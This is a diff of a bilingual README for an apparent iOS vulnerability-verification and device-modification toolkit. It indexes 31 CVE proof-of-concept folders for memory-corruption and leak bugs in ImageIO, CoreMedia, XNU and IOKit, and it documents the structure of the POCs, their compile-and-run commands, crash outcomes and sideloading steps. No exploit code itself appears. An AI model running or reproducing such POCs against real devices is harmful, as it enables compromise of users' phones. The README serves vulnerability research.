| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | info leak | in-process | TIFF truncated strip → uninitialised heap into pixels | `CVE-2026-112632.swift` | | [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | info leak | in-process | TIFF truncated strip → uninitialised heap into pixels | `CVE-2026-112632.swift` · `CVE-2026-112632.c` |
| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB write | in-process | TIFF planar scatter out-of-bounds write | `CVE-2026-112633.swift` | | [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB write | in-process | TIFF planar scatter out-of-bounds write | `CVE-2026-112633.swift` · `CVE-2026-112633.c` |
| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB read | in-process | JPEG marker length out of bounds | `CVE-2026-112634.swift` | | [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB read | in-process | JPEG marker length out of bounds | `CVE-2026-112634.swift` · `CVE-2026-112634.c` |
| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB write | entitlement-gated | LC3 decoder input buffer overflow | `CVE-2026-112638.swift` | | [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB write | entitlement-gated | LC3 decoder input buffer overflow | `CVE-2026-112638.swift` · `CVE-2026-112638.c` |
| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB write | system process | SpringBoard stashed layout name validation | `CVE-2026-112646.swift` | | [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB write | system process | SpringBoard stashed layout name validation | `CVE-2026-112646.swift` · `CVE-2026-112646.c` |
| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB read | in-process | GDEFLigatureCaret offset-chain out-of-bounds read | `CVE-2026-112656.swift` | | [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB read | in-process | GDEFLigatureCaret offset-chain out-of-bounds read | `CVE-2026-112656.swift` · `CVE-2026-112656.c` |
| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` | | [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring interpreter | OOB write | in-process | CFF Type2 charstring operand stack overflow | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` |
| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` | | [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB write | system process | Dolby Vision RPU extension metadata block array overrun | `CVE-2026-112688.swift` · `CVE-2026-112688.c` |
| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` | | [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB write | kernel | ANE kernel interface reachability | `CVE-2026-112696.swift` · `CVE-2026-112696.c` |
| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` | | [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | info leak | system process | CoreMedia bytestream XPC cross-sandbox file descriptor acquisition | `CVE-2026-112706.swift` · `CVE-2026-112706.c` |
| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` | | [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB write | system process | AVHaptic custom audio event format validation | `CVE-2026-113907.swift` · `CVE-2026-113907.c` |
| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` | | [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | info leak | kernel | decmpfs chunked decompression under-produce → kernel heap disclosure | `CVE-2026-113910.swift` · `CVE-2026-113910.c` |
| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` | | [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB read | system process | MPEG-D DRC downmix matrix coefficient validation | `CVE-2026-113912.swift` · `CVE-2026-113912.c` |
| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` | | [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB write | kernel | IOKit event short-heap fixed-offset write | `CVE-2026-65385.swift` · `CVE-2026-65385.c` |
## Modules without a CVE — 11 ## Modules without a CVE — 11
@@ -82,6 +82,18 @@ Five sections, everything except comments extracted verbatim from the Cinder27 s
The `.py` in seed folders is the same builder in its original Python (from `scripts/gen_seeds.py`) with a `__main__` writer — runnable as-is. The `.py` in seed folders is the same builder in its original Python (from `scripts/gen_seeds.py`) with a `__main__` writer — runnable as-is.
## Anatomy of a POC file (.c)
Every CVE folder carries a C twin — the same verification in plain C, compiling and running directly on a macOS arm64 host (no Swift runtime, no app dependency):
1. **Header** — module · framework · vulnerable function · CVE, the bug class in one line, a `C twin of the Swift POC` note, and `Build:` / `Run:` lines; multi-variant modules note which variant runs inside `main()`
2. **Seed construction** — the same payload grammar as the Swift builder, hand-rolled: bit writers, byte buffers, struct emission
3. **Trigger** — the vulnerable entry point itself. Public frameworks link directly (`VTDecompressionSessionCreate`, `AudioConverterNew`, `CGFontCreateWithDataProvider`); private symbols resolve live via `dlsym` (`CMGetDMVersionLevelFromRPU`, the `Fig*` XPC family, `IOHIDEvent*`)
4. **Oracle** — printed to stdout: OSStatus codes, parse-entry refusals, XPC reply types, signal / crash outcomes
5. **`main()`** — argument-parameterised where the Swift version is (depth, block-count, path); the seed file is written to the working directory for inspection
All 31 compile clean with `clang -O2 -Wall` — zero warnings — and each has a recorded oracle from this exact host.
## Running ## Running
```bash ```bash
@@ -98,6 +110,12 @@ xcrun swiftc -parse-as-library -swift-version 5 -sdk "$(xcrun --sdk macosx --sho
# Full triggers (decode, races, crash oracles) run inside the app harness # Full triggers (decode, races, crash oracles) run inside the app harness
bash scripts/build-sim.sh # → build/sim/Cinder27.app, installed to the booted simulator bash scripts/build-sim.sh # → build/sim/Cinder27.app, installed to the booted simulator
# C POC twins — compile + run standalone (macOS arm64)
clang -O2 -Wall -o /tmp/c112522 CVE-2026-112522/CVE-2026-112522.c # plain C, no frameworks
/tmp/c112522 # → SIGTRAP: the 2-byte OOB write
clang -O2 -Wall -o /tmp/c112706 CVE-2026-112706/CVE-2026-112706.c -fblocks -framework CoreFoundation
/tmp/c112706 # → FigXPC handshake, 'Connection invalid'
``` ```
## Building the harness app ## Building the harness app
@@ -110,13 +128,15 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
``` ```
Device install: bundle id `com.jbjf.cinder27` (v1.0 build 2), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. Device install: bundle id `com.jbjf.cinder27` (v2.0 build 3), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
## Verification status ## Verification status
Full 51-module regression (simulator build): **47 done + 4 armed**. Full 51-module regression (simulator build): **47 done + 4 armed**.
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV — CVE-2026-112688's struct out-of-bounds write genuinely lands on the simulator build. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
All 31 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The rest refuse at the entry layer — same receipts as the app harness.
## Module semantics ## Module semantics
+55 -35
View File
@@ -10,11 +10,11 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
| 区块 | 内容 | | 区块 | 内容 |
|---|---| |---|---|
| `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)和/或 `.swift` 种子构造 + 触发闭包(可独立 typecheck) | | `CVE-2026-XXXX/`(31 个) | 每个 CVE 一个文件夹,POC 本体在文件夹内:`.py` 种子构建器(可独立运行)、`.swift` 种子构造 + 触发闭包(可独立 typecheck),以及 `.c` 双子——种子 + 触发 + `main()` 自包含,在 macOS arm64 上独立编译运行 |
| `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 | | `<模块名>/`(11 个) | 无 CVE 编号的模块——工具、探针、基线、沙盒原语——按模块 id 命名,同样一文件夹一文件 |
| `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) | | `Sources/` `scripts/` `Resources/` `Info.plist` | Cinder27 app 主体(验证台本体,构建见下) |
共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)。 共 42 个 Swift POC 文件(全部通过独立 typecheck)+ 5 个 Python 种子构建器(产物与 app 内置种子逐字节一致)+ 31 个 C POC 文件(macOS arm64 上 `clang -O2 -Wall` 零警告编译通过,各自带一份记录在案的 oracle)。
## POC 索引 — 31 个 CVE 文件夹 ## POC 索引 — 31 个 CVE 文件夹
@@ -22,37 +22,37 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
| CVE | 模块 | 组件 | 原语 | 触达 | 标题 | 文件 | | CVE | 模块 | 组件 | 原语 | 触达 | 标题 | 文件 |
|---|---|---|---|---|---|---| |---|---|---|---|---|---|---|
| [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder 插件 | OOB 读 | 系统进程 | MVHEVC 层 ID 越界 | `CVE-2026-112415.swift` | | [CVE-2026-112415](CVE-2026-112415/) | `vid.hevc` | AVD.videodecoder 插件 | OOB 读 | 系统进程 | MVHEVC 层 ID 越界 | `CVE-2026-112415.swift` · `CVE-2026-112415.c` |
| [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder 插件(非 kext) | OOB 写 | 系统进程 | AVC 切片数量上限缺失 | `CVE-2026-112416.swift` | | [CVE-2026-112416](CVE-2026-112416/) | `vid.avc` | AVD.videodecoder 插件(非 kext) | OOB 写 | 系统进程 | AVC 切片数量上限缺失 | `CVE-2026-112416.swift` · `CVE-2026-112416.c` |
| [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB 读 | 进程内 | USDA 声明嵌套深度 | `CVE-2026-112485.py` · `CVE-2026-112485.swift` | | [CVE-2026-112485](CVE-2026-112485/) | `mdl.usda` | Model I/O · libusd_ms | OOB 读 | 进程内 | USDA 声明嵌套深度 | `CVE-2026-112485.py` · `CVE-2026-112485.swift` · `CVE-2026-112485.c` |
| [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB 写 | 进程内 | TIFF 目录项分配 32 位截断 | `CVE-2026-112488.swift` | | [CVE-2026-112488](CVE-2026-112488/) | `iio.tiff.direntry` | ImageIO · TIFFReadDirEntry*Array | OOB 写 | 进程内 | TIFF 目录项分配 32 位截断 | `CVE-2026-112488.swift` · `CVE-2026-112488.c` |
| [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c 请求表消费方 | UAF | 内核 | ipc_port 请求表索引竞态 | `CVE-2026-112507.swift` | | [CVE-2026-112507 / 112476](CVE-2026-112507/) | `kern.ipc` | XNU · ipc_port.c 请求表消费方 | UAF | 内核 | ipc_port 请求表索引竞态 | `CVE-2026-112507.swift` · `CVE-2026-112507.c` |
| [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps 表查找 | OOB 读 | 外设 | IOHIDFamily 预解析数据表索引 | `CVE-2026-112515.swift` | | [CVE-2026-112515](CVE-2026-112515/) | `probe.hid` | IOHIDFamily · caps 表查找 | OOB 读 | 外设 | IOHIDFamily 预解析数据表索引 | `CVE-2026-112515.swift` · `CVE-2026-112515.c` |
| [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB 写 | 进程内 | ISO9660 Joliet 路径名堆溢出 | `CVE-2026-112522.py` · `CVE-2026-112522.swift` | | [CVE-2026-112522](CVE-2026-112522/) | `arc.iso`, `arc.iso.stress`, `arc.cab` | libarchive · build_pathname_utf16be | OOB 写 | 进程内 | ISO9660 Joliet 路径名堆溢出 | `CVE-2026-112522.py` · `CVE-2026-112522.swift` · `CVE-2026-112522.c` |
| [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB 读 | 系统进程 | HOA 空间音频系数越界读 | `CVE-2026-112546.swift` | | [CVE-2026-112546](CVE-2026-112546/) | `aud.hoa` | AudioCodecs · APACHOADecoder::Initialize | OOB 读 | 系统进程 | HOA 空间音频系数越界读 | `CVE-2026-112546.swift` · `CVE-2026-112546.c` |
| [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB 读 | 内核 | GPT 分区名扫描 72 字节内核堆越界读 | `CVE-2026-112554.swift` | | [CVE-2026-112554](CVE-2026-112554/) | `kext.gpt` | IOStorageFamily | OOB 读 | 内核 | GPT 分区名扫描 72 字节内核堆越界读 | `CVE-2026-112554.swift` · `CVE-2026-112554.c` |
| [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | 信息泄露 | 进程内 | EXIF UserComment 短读 → 元数据泄露 | `CVE-2026-112571.swift` | | [CVE-2026-112571](CVE-2026-112571/) | `iio.jpeg.comment` | ImageIO · ReadUserComment | 信息泄露 | 进程内 | EXIF UserComment 短读 → 元数据泄露 | `CVE-2026-112571.swift` · `CVE-2026-112571.c` |
| [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` | | [CVE-2026-112610](CVE-2026-112610/) | `cg.cmap` | CoreGraphics · _cmap_convert | OOB 写 | 进程内 | CMap /UseCMap 递归越界写(负结果探针) | `CVE-2026-112610.swift` · `CVE-2026-112610.c` |
| [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` | | [CVE-2026-112611](CVE-2026-112611/) | `cg.shading`, `cg.shading.sweep` | CoreGraphics · _cg_shading_type5_draw | OOB 写 | 进程内 | Type-5 阴影栈溢出(值可控 OOB 写) | `CVE-2026-112611.swift` · `CVE-2026-112611.c` |
| [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` | | [CVE-2026-112619](CVE-2026-112619/) | `cal.unzip` | CalendarFoundation · _UnzipArchiveWithLimits | OOB 写 | 系统进程 | 日历附件解压容器逃逸 | `CVE-2026-112619.swift` · `CVE-2026-112619.c` |
| [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` | | [CVE-2026-112625](CVE-2026-112625/) | `iio.ktx2`, `iio.pvr` | ImageIO · KTX2ReadPlugin | 整数溢出 | 进程内 | KTX2 维度/层级尺寸运算 | `CVE-2026-112625.py` · `CVE-2026-112625.swift` · `CVE-2026-112625.c` |
| [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` | | [CVE-2026-112627](CVE-2026-112627/) | `iio.dds.bc7`, `iio.appx` | ImageIO · BCReadPlugin::initialize | OOB 读 | 进程内 | BC7 纹理 mip 截断 | `CVE-2026-112627.swift` · `CVE-2026-112627.c` |
| [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` | | [CVE-2026-112629](CVE-2026-112629/) | `iio.jpeg.gps` | ImageIO · GPSCopy::processData | OOB 读 | 进程内 | GPS IFD 值偏移越界 | `CVE-2026-112629.swift` · `CVE-2026-112629.c` |
| [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | 信息泄露 | 进程内 | APNG fcTL 截断 → 栈上未初始化帧几何 | `CVE-2026-112630.swift` | | [CVE-2026-112630](CVE-2026-112630/) | `iio.apng.fctl` | ImageIO · IIO_Reader_PNG::getImageCount | 信息泄露 | 进程内 | APNG fcTL 截断 → 栈上未初始化帧几何 | `CVE-2026-112630.swift` · `CVE-2026-112630.c` |
| [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | 信息泄露 | 进程内 | TIFF 截断条带 → 未初始化堆进像素 | `CVE-2026-112632.swift` | | [CVE-2026-112632](CVE-2026-112632/) | `iio.tiff.trunc` | ImageIO · decodeStripChunky | 信息泄露 | 进程内 | TIFF 截断条带 → 未初始化堆进像素 | `CVE-2026-112632.swift` · `CVE-2026-112632.c` |
| [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB 写 | 进程内 | TIFF planar 散写越界 | `CVE-2026-112633.swift` | | [CVE-2026-112633 / 112614](CVE-2026-112633/) | `iio.tiff.planar`, `iio.pdf.raster` | ImageIO · decodeStripPlanar | OOB 写 | 进程内 | TIFF planar 散写越界 | `CVE-2026-112633.swift` · `CVE-2026-112633.c` |
| [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB 读 | 进程内 | JPEG 标记长度越界 | `CVE-2026-112634.swift` | | [CVE-2026-112634](CVE-2026-112634/) | `iio.jpeg.marker` | ImageIO · _JPEGFile::processData | OOB 读 | 进程内 | JPEG 标记长度越界 | `CVE-2026-112634.swift` · `CVE-2026-112634.c` |
| [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB 写 | 权限受限 | LC3 解码器输入缓冲溢出 | `CVE-2026-112638.swift` | | [CVE-2026-112638](CVE-2026-112638/) | `aud.lc3` | AudioCodecs · ACLC3Decoder::AppendInputData | OOB 写 | 权限受限 | LC3 解码器输入缓冲溢出 | `CVE-2026-112638.swift` · `CVE-2026-112638.c` |
| [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB 写 | 系统进程 | SpringBoard 布局名 stash 校验 | `CVE-2026-112646.swift` | | [CVE-2026-112646](CVE-2026-112646/) | `sb.stash` | SpringBoard · SBHomeScreenService | OOB 写 | 系统进程 | SpringBoard 布局名 stash 校验 | `CVE-2026-112646.swift` · `CVE-2026-112646.c` |
| [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB 读 | 进程内 | GDEFLigatureCaret 追链越界读 | `CVE-2026-112656.swift` | | [CVE-2026-112656](CVE-2026-112656/) | `font.gdef` | CoreText · GetLigatureCaretPositionsForGlyph | OOB 读 | 进程内 | GDEFLigatureCaret 追链越界读 | `CVE-2026-112656.swift` · `CVE-2026-112656.c` |
| [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` | | [CVE-2026-112683](CVE-2026-112683/) | `font.cff` | FontParser · charstring 解释器 | OOB 写 | 进程内 | CFF Type2 charstring 操作数栈溢出 | `CVE-2026-112683.py` · `CVE-2026-112683.swift` · `CVE-2026-112683.c` |
| [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` | | [CVE-2026-112688](CVE-2026-112688/) | `cm.rpu`, `cm.rpu.sweep` | CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks | OOB 写 | 系统进程 | Dolby Vision RPU 扩展元数据块数组越界 | `CVE-2026-112688.swift` · `CVE-2026-112688.c` |
| [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` | | [CVE-2026-112696 / 84494](CVE-2026-112696/) | `probe.ane` | AppleH16ANEInterface | OOB 写 | 内核 | ANE 内核接口可达性 | `CVE-2026-112696.swift` · `CVE-2026-112696.c` |
| [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` | | [CVE-2026-112706](CVE-2026-112706/) | `cm.fdleak`, `cm.fdleak.boundary` | CoreMedia · mediaplaybackd.bytestream.xpc | 信息泄露 | 系统进程 | CoreMedia bytestream XPC 跨沙盒文件描述符获取 | `CVE-2026-112706.swift` · `CVE-2026-112706.c` |
| [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` | | [CVE-2026-113907](CVE-2026-113907/) | `aud.haptic`, `aud.immersive` | AudioToolbox · AVHapticServerInstance | OOB 写 | 系统进程 | AVHaptic 自定义音频事件格式校验 | `CVE-2026-113907.swift` · `CVE-2026-113907.c` |
| [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` | | [CVE-2026-113910](CVE-2026-113910/) | `kern.decmpfs` | XNU · AppleFSCompressionTypeZlib | 信息泄露 | 内核 | decmpfs 分块解压欠产出 → 内核堆泄露 | `CVE-2026-113910.swift` · `CVE-2026-113910.c` |
| [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB 读 | 系统进程 | MPEG-D DRC 下混矩阵系数校验 | `CVE-2026-113912.swift` | | [CVE-2026-113912 / 86972](CVE-2026-113912/) | `aud.drc` | AudioCodecs · mpddrc::UniDrcSelection | OOB 读 | 系统进程 | MPEG-D DRC 下混矩阵系数校验 | `CVE-2026-113912.swift` · `CVE-2026-113912.c` |
| [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB 写 | 内核 | IOKit 事件短堆固定偏移写 | `CVE-2026-65385.swift` | | [CVE-2026-65385](CVE-2026-65385/) | `kext.iohid` | IOKit.framework · IOHIDEventAppendEvent | OOB 写 | 内核 | IOKit 事件短堆固定偏移写 | `CVE-2026-65385.swift` · `CVE-2026-65385.c` |
## 无 CVE 模块 — 11 个 ## 无 CVE 模块 — 11 个
@@ -82,6 +82,18 @@ iOS 17.0–27.1 漏洞验证与设备修改工具链,**51 个模块**。主靶
种子组的 `.py` 是同一构建器的 Python 原文(来自 `scripts/gen_seeds.py`),带 `__main__` 写盘入口,可直接运行。 种子组的 `.py` 是同一构建器的 Python 原文(来自 `scripts/gen_seeds.py`),带 `__main__` 写盘入口,可直接运行。
## C POC 文件(.c)的结构
每个 CVE 文件夹还带一个 C 双子——同一验证的纯 C 实现,直接在 macOS arm64 主机上编译运行(无 Swift 运行时、不依赖 app):
1. **头部注释** —— 模块 · 框架 · 漏洞函数 · CVE,一行漏洞类别,`C twin of the Swift POC` 标注,`Build:` / `Run:` 行;多变体模块注明哪个变体在 `main()` 里跑
2. **种子构造** —— 与 Swift 构建器相同的载荷文法,纯手写:位写入器、字节缓冲、结构体发射
3. **触发** —— 漏洞入口本身。公开框架直接链接(`VTDecompressionSessionCreate`、`AudioConverterNew`、`CGFontCreateWithDataProvider`);私有符号运行时 `dlsym` 解析(`CMGetDMVersionLevelFromRPU`、`Fig*` XPC 家族、`IOHIDEvent*`)
4. **预言机** —— 打印到 stdout:OSStatus 码、入口拒绝回执、XPC 回复类型、信号/崩溃结果
5. **`main()`** —— Swift 版可参数化的地方同样参数化(深度、块数、路径);种子文件写入工作目录备查
31 个全部 `clang -O2 -Wall` 零警告编译通过,且都在本机跑出记录在案的 oracle。
## 运行 ## 运行
```bash ```bash
@@ -98,6 +110,12 @@ xcrun swiftc -parse-as-library -swift-version 5 -sdk "$(xcrun --sdk macosx --sho
# 完整触发(解码、竞态、崩溃 oracle)在 app 验证台内执行 # 完整触发(解码、竞态、崩溃 oracle)在 app 验证台内执行
bash scripts/build-sim.sh # → build/sim/Cinder27.app 并安装到已启动的模拟器 bash scripts/build-sim.sh # → build/sim/Cinder27.app 并安装到已启动的模拟器
# C 双子 —— 独立编译运行(macOS arm64)
clang -O2 -Wall -o /tmp/c112522 CVE-2026-112522/CVE-2026-112522.c # 纯 C,无框架依赖
/tmp/c112522 # → SIGTRAP:2 字节越界写
clang -O2 -Wall -o /tmp/c112706 CVE-2026-112706/CVE-2026-112706.c -fblocks -framework CoreFoundation
/tmp/c112706 # → FigXPC 握手,'Connection invalid'
``` ```
## 构建验证台 app ## 构建验证台 app
@@ -110,13 +128,15 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
``` ```
设备安装:bundle id `com.jbjf.cinder27`(v1.0 build 2),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 设备安装:bundle id `com.jbjf.cinder27`(v2.0 build 3),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
## 验证状态 ## 验证状态
51 模块全量回归(模拟器构建):**47 done + 4 armed**。 51 模块全量回归(模拟器构建):**47 done + 4 armed**。
